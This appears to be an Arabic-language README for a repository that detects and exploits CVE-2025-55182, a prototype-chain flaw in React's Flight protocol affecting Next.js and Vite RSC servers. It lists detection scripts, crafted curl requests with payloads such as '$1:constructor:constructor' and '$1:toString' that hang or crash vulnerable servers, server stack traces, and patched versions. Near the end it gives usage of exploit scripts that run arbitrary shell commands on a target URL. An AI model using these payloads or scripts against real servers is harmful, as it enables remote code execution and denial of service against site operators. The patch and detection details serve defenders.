
اكتشاف واستغلال فعلي لثغرة CVE-2025-55182. بدون هراء نماذج اللغة الكبيرة.
ثغرة في بروتوكول React Flight تسمح بالتنقل عبر سلسلة النماذج الأولية (prototype chain) عبر مراجع الأجزاء (chunk references). تم الاختبار ضد bullshit-react-project.
هذا الوصف قديم بعض الشيء حيث تم الكشف عن إثبات المفهوم الحقيقي (PoC) الآن.
Vite RSC: bash ./vite-detect.sh https://example.com
Next.js: bash ./nextjs-detect.sh https://example.com
أو لتنفيذ كليهما معًا، فقط نفّذ bash ./detect.sh https://example.com
يقبل كلا السكربتين معلمة مهلة اختيارية (الافتراضي 3 ثوانٍ لـ Vite و5 ثوانٍ لـ Next.js).
يرسل ترويسة x-rsc-action مع حمولة $1:toString. الخوادم المعرضة للثغرة تعلّق إلى أجل غير مسمى؛ بينما تستجيب الخوادم المحدّثة بشكل طبيعي. يتحقق أولاً من نقطة نهاية RSC (يتوقع HTTP 500 على إجراء غير صالح).
يكتشف معرّفات إجراءات الخادم من استجابة الصفحة (النمط $ACTION_ID_<hash>)، ثم يرسل:
curl -X POST "http://localhost:3000" \
-H "Next-Action: <action_id>" \
-H "Accept: text/x-component" \
-F '0=["$1:a:a"]' \
-F '1={}'
الخوادم المعرضة للثغرة تعلّق؛ والخوادم المحدّثة تستجيب بسرعة.
Next.js: قم بالترقية إلى 16.0.7 أو 15.5.7 أو 15.4.8
React (Vite RSC): قم بالترقية إلى 19.0.1+ أو 19.1.2+ أو 19.2.1+
يسمح بروتوكول Flight في React بالتنقل عبر سلسلة النماذج الأولية عن طريق مراجع الأجزاء. تكرّر الدالة getOutlinedModel عبر مسارات المرجع بدون فحوصات hasOwnProperty:
for (key = 1; key < reference.length; key++)
parentObject = parentObject[reference[key]];
يتيح هذا لـ $1:constructor:constructor التنقل عبر {}.constructor.constructor → Function.
نقطة النهاية: أي مسار يحمل ترويسة x-rsc-action
معرّف الإجراء: 710363d987f5#loginUser (أو أي إجراء خادم صالح)
curl -X POST "http://localhost:4173/xyz" \
-H "x-rsc-action: 710363d987f5#loginUser" \
-F '0={"then":"$1:constructor:constructor"}' \
-F '1={"a":"b"}'
عند وجود الثغرة: Internal Server Error
بعد التصحيح: استجابة عادية
لاحظ أنك ستحصل على خطأ 500 على الخادم المُصحّح إذا كانت معرّفات x-rsc-action الخاصة بك خاطئة. فقط سجلات الخادم ستكون مختلفة.
SyntaxError: Unexpected token 'function'
at Object.Function [as then] (<anonymous>)
تم استدعاء مُنشئ Function عبر .then() عندما كان الكائن قيد await. يمرّر V8 دالتي resolve/reject كوسيطات، والتي تتحول إلى نص function () { [native code] } - ومن هنا جاء الخطأ النحوي.
Error: server reference not found '310363d987f5'
at Object.load (file:///tmp/team_9_year_3_project/dist/rsc/index.js:13532:27)
at requireModule (file:///tmp/team_9_year_3_project/dist/rsc/index.js:8302:20)
at loadServerAction (file:///tmp/team_9_year_3_project/dist/rsc/index.js:8326:17)
at handler (file:///tmp/team_9_year_3_project/dist/rsc/index.js:14998:29)
at process.processTicksAndRejections (node:internal/process/task_queues:103:5)
TypeError: Cannot read properties of undefined (reading 'apply')
at AsyncLocalStorage.run (node:internal/async_local_storage/async_context_frame:63:14)
at runWithRequest (file:///tmp/team_9_year_3_project/dist/rsc/index.js:13539:25)
at handler (file:///tmp/team_9_year_3_project/dist/rsc/index.js:14999:27)
at process.processTicksAndRejections (node:internal/process/task_queues:103:5)
لا تظهر أي سجلات خادم مع x-rsc-action صالح. يمكنك العثور على x-rsc-action الصحيح بتشغيل إجراء خادم حقيقي والتقاط الطلب في أدوات المطوّرين.
حمولة $1:toString تعلّق الخوادم المعرضة للثغرة إلى أجل غير مسمى - وهذا ما تستخدمه سكربتات الاكتشاف. لقد جربت كل شيء تقريبًا لكنني لم أستطع الحصول على RCE.
لـ Vite Rsc:
bash exploit-vite.sh https://example.com/ 'echo $(id) > /tmp/pwned'
لـ NextJS:
bash exploit-nextjs.sh https://example.com/ 'echo $(id) > /tmp/pwned'
يعود الفضل إلى maple3142 -> https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3
لقد قمت فقط ببعض التغليف وكيّفته ليعمل مع Vite الذي يعتمد على ESM النقي وبالتالي لا يحتوي على require.